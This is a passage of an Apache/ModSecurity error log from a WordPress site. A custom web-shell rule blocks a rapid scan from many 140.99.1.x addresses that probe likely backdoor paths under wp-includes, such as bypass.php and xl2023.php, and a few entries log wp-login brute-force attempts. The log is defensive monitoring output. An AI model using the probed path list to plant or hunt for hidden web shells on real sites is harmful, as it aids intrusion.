[Mon Nov 24 09:31:08.270743 2025] [:error] [pid 49900:tid 49902] [client 140.99.1.50:29917] [client 140.99.1.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSO1XDCyPLrvg06aormZZwAAAAA"]
[Mon Nov 24 09:31:08.731387 2025] [:error] [pid 49900:tid 49904] [client 140.99.1.75:43093] [client 140.99.1.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aSO1XDCyPLrvg06aormZagAAAAI"]
[Mon Nov 24 09:31:09.235054 2025] [:error] [pid 48600:tid 48644] [client 140.99.1.26:34775] [client 140.99.1.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.26, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSO1XftOzSUAQvWVjBcvsQAAAc4"]
[Mon Nov 24 09:31:09.332112 2025] [:error] [pid 48600:tid 48634] [client 140.99.1.26:34775] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aSO1XftOzSUAQvWVjBcvsgAAAcQ"]
[Mon Nov 24 09:31:11.457671 2025] [:error] [pid 48599:tid 48616] [client 140.99.1.78:30715] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aSO1X5zvu6PDJiRKE3LOZQAAAY0"]
[Mon Nov 24 09:31:12.038907 2025] [:error] [pid 48601:tid 48662] [client 140.99.1.76:36343] [client 140.99.1.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.76, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aSO1YIMM4MaVTk74-AZPQAAAAgU"]
[Mon Nov 24 09:31:12.441872 2025] [:error] [pid 48601:tid 48674] [client 140.99.1.76:36343] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSO1YIMM4MaVTk74-AZPRAAAAhE"]
[Mon Nov 24 09:31:12.761184 2025] [:error] [pid 48601:tid 48665] [client 140.99.1.52:60819] [client 140.99.1.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aSO1YIMM4MaVTk74-AZPRgAAAgg"]
[Mon Nov 24 09:31:13.149206 2025] [:error] [pid 49900:tid 49915] [client 140.99.1.5:47587] [client 140.99.1.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSO1YTCyPLrvg06aormZgAAAAA0"]
[Mon Nov 24 09:31:13.646999 2025] [:error] [pid 49900:tid 49911] [client 140.99.1.31:40529] [client 140.99.1.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSO1YTCyPLrvg06aormZhgAAAAk"]
[Mon Nov 24 09:31:13.941144 2025] [:error] [pid 48600:tid 48645] [client 140.99.1.13:31747] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aSO1YftOzSUAQvWVjBcvvAAAAc8"]
[Mon Nov 24 09:31:14.679500 2025] [:error] [pid 48600:tid 48654] [client 140.99.1.48:35747] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSO1YvtOzSUAQvWVjBcvwwAAAdg"]
[Mon Nov 24 09:31:14.988460 2025] [:error] [pid 48599:tid 48608] [client 140.99.1.53:58827] [client 140.99.1.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aSO1Ypzvu6PDJiRKE3LOawAAAYU"]
[Mon Nov 24 09:31:15.527988 2025] [:error] [pid 49900:tid 49910] [client 140.99.1.38:25935] [client 140.99.1.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aSO1YzCyPLrvg06aormZkgAAAAg"]
[Mon Nov 24 09:31:16.065526 2025] [:error] [pid 49900:tid 49922] [client 140.99.1.76:64745] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aSO1ZDCyPLrvg06aormZmwAAABQ"]
[Mon Nov 24 09:31:16.512180 2025] [:error] [pid 48688:tid 48709] [client 140.99.1.74:58027] [client 140.99.1.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aSO1ZBm2q1FkzLam7A1BOgAAAlE"]
[Mon Nov 24 09:31:17.052147 2025] [:error] [pid 48688:tid 48707] [client 140.99.1.13:41261] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aSO1ZRm2q1FkzLam7A1BQAAAAk8"]
[Mon Nov 24 09:31:18.126958 2025] [:error] [pid 49900:tid 49903] [client 140.99.1.63:43973] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aSO1ZjCyPLrvg06aormZrAAAAAE"]
[Mon Nov 24 09:31:18.332724 2025] [:error] [pid 49900:tid 49906] [client 140.99.1.8:44641] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aSO1ZjCyPLrvg06aormZrgAAAAQ"]
[Mon Nov 24 09:31:18.703207 2025] [:error] [pid 48601:tid 48672] [client 140.99.1.76:55125] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aSO1ZoMM4MaVTk74-AZPWAAAAg8"]
[Mon Nov 24 09:31:18.921830 2025] [:error] [pid 48600:tid 48643] [client 140.99.1.37:61561] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aSO1ZvtOzSUAQvWVjBcvywAAAc0"]
[Mon Nov 24 09:31:19.217077 2025] [:error] [pid 48688:tid 48700] [client 140.99.1.14:52445] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aSO1Zxm2q1FkzLam7A1BQwAAAkg"]
[Mon Nov 24 09:31:19.419402 2025] [:error] [pid 48599:tid 48625] [client 140.99.1.10:53587] [client 140.99.1.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSO1Z5zvu6PDJiRKE3LOdAAAAZY"]
[Mon Nov 24 09:31:19.869524 2025] [:error] [pid 48688:tid 48697] [client 140.99.1.44:49095] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSO1Zxm2q1FkzLam7A1BSgAAAkU"]
[Mon Nov 24 09:31:20.055421 2025] [:error] [pid 48688:tid 48701] [client 140.99.1.8:59401] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSO1aBm2q1FkzLam7A1BTAAAAkk"]
[Mon Nov 24 09:31:20.319667 2025] [:error] [pid 48688:tid 48694] [client 140.99.1.69:47645] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aSO1aBm2q1FkzLam7A1BTgAAAkI"]
[Mon Nov 24 09:31:20.507106 2025] [:error] [pid 48601:tid 48661] [client 140.99.1.20:22817] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aSO1aIMM4MaVTk74-AZPWgAAAgQ"]
[Mon Nov 24 09:31:20.832167 2025] [:error] [pid 48600:tid 48632] [client 140.99.1.67:30815] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSO1aPtOzSUAQvWVjBcvzwAAAcI"]
[Mon Nov 24 09:31:21.298168 2025] [:error] [pid 48600:tid 48645] [client 140.99.1.46:57281] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aSO1aftOzSUAQvWVjBcv0wAAAc8"]
[Mon Nov 24 09:31:21.904708 2025] [:error] [pid 48601:tid 48671] [client 140.99.1.8:40013] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aSO1aYMM4MaVTk74-AZPYAAAAg4"]
[Mon Nov 24 09:31:22.773600 2025] [:error] [pid 48688:tid 48708] [client 140.99.1.42:34959] [client 140.99.1.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aSO1ahm2q1FkzLam7A1BYgAAAlA"]
[Mon Nov 24 09:31:23.262639 2025] [:error] [pid 49900:tid 49920] [client 140.99.1.69:37907] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aSO1azCyPLrvg06aormZxQAAABI"]
[Mon Nov 24 09:31:23.446893 2025] [:error] [pid 48600:tid 48631] [client 140.99.1.9:57159] [client 140.99.1.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aSO1a_tOzSUAQvWVjBcv1gAAAcE"]
[Mon Nov 24 09:31:24.185022 2025] [:error] [pid 49900:tid 49913] [client 140.99.1.67:65253] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSO1bDCyPLrvg06aormZywAAAAs"]
[Mon Nov 24 09:31:24.772680 2025] [proxy_fcgi:error] [pid 48601:tid 48661] [client 140.99.1.63:57573] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:31:24.877180 2025] [proxy_fcgi:error] [pid 48601:tid 48678] [client 140.99.1.63:57573] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:31:24.986991 2025] [proxy_fcgi:error] [pid 48601:tid 48673] [client 140.99.1.63:57573] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 09:31:25.490349 2025] [:error] [pid 48601:tid 48671] [client 140.99.1.63:57573] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSO1bYMM4MaVTk74-AZPcQAAAg4"]
[Mon Nov 24 09:31:25.681498 2025] [:error] [pid 48601:tid 48663] [client 140.99.1.31:32743] [client 140.99.1.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aSO1bYMM4MaVTk74-AZPcgAAAgY"]
[Mon Nov 24 09:31:25.888335 2025] [:error] [pid 49900:tid 49904] [client 140.99.1.9:54875] [client 140.99.1.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aSO1bTCyPLrvg06aormZ1wAAAAI"]
[Mon Nov 24 09:31:26.082719 2025] [:error] [pid 48688:tid 48715] [client 140.99.1.50:24995] [client 140.99.1.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aSO1bhm2q1FkzLam7A1BcQAAAlc"]
[Mon Nov 24 09:31:26.293856 2025] [:error] [pid 48688:tid 48706] [client 140.99.1.30:65313] [client 140.99.1.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aSO1bhm2q1FkzLam7A1BcgAAAk4"]
[Mon Nov 24 09:31:26.505824 2025] [:error] [pid 48688:tid 48699] [client 140.99.1.2:48823] [client 140.99.1.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aSO1bhm2q1FkzLam7A1BdAAAAkc"]
[Mon Nov 24 09:31:26.857889 2025] [:error] [pid 48600:tid 48653] [client 140.99.1.5:59149] [client 140.99.1.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aSO1bvtOzSUAQvWVjBcv4QAAAdc"]
[Mon Nov 24 09:31:27.051971 2025] [:error] [pid 48688:tid 48709] [client 140.99.1.17:25613] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aSO1bxm2q1FkzLam7A1BdwAAAlE"]
[Mon Nov 24 09:31:27.240314 2025] [:error] [pid 49900:tid 49916] [client 140.99.1.7:51951] [client 140.99.1.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aSO1bzCyPLrvg06aormZ3AAAAA4"]
[Mon Nov 24 09:31:27.490286 2025] [:error] [pid 49900:tid 49923] [client 140.99.1.30:64443] [client 140.99.1.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aSO1bzCyPLrvg06aormZ3QAAABU"]
[Mon Nov 24 09:31:27.900008 2025] [:error] [pid 48599:tid 48609] [client 140.99.1.11:21891] [client 140.99.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aSO1b5zvu6PDJiRKE3LOiwAAAYY"]
[Mon Nov 24 09:31:28.191776 2025] [:error] [pid 48599:tid 48627] [client 140.99.1.18:52909] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aSO1cJzvu6PDJiRKE3LOjgAAAZg"]
[Mon Nov 24 09:31:28.599870 2025] [:error] [pid 48601:tid 48659] [client 140.99.1.53:61133] [client 140.99.1.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aSO1cIMM4MaVTk74-AZPdQAAAgI"]
[Mon Nov 24 09:31:29.102950 2025] [:error] [pid 48600:tid 48631] [client 140.99.1.18:41169] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSO1cftOzSUAQvWVjBcv6AAAAcE"]
[Mon Nov 24 09:31:29.722326 2025] [:error] [pid 48599:tid 48605] [client 140.99.1.7:21381] [client 140.99.1.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSO1cZzvu6PDJiRKE3LOkwAAAYI"]
[Mon Nov 24 09:31:30.407671 2025] [:error] [pid 48599:tid 48625] [client 140.99.1.63:47067] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSO1cpzvu6PDJiRKE3LOmgAAAZY"]
[Mon Nov 24 09:31:30.774198 2025] [:error] [pid 48688:tid 48694] [client 140.99.1.63:59167] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSO1chm2q1FkzLam7A1BhwAAAkI"]
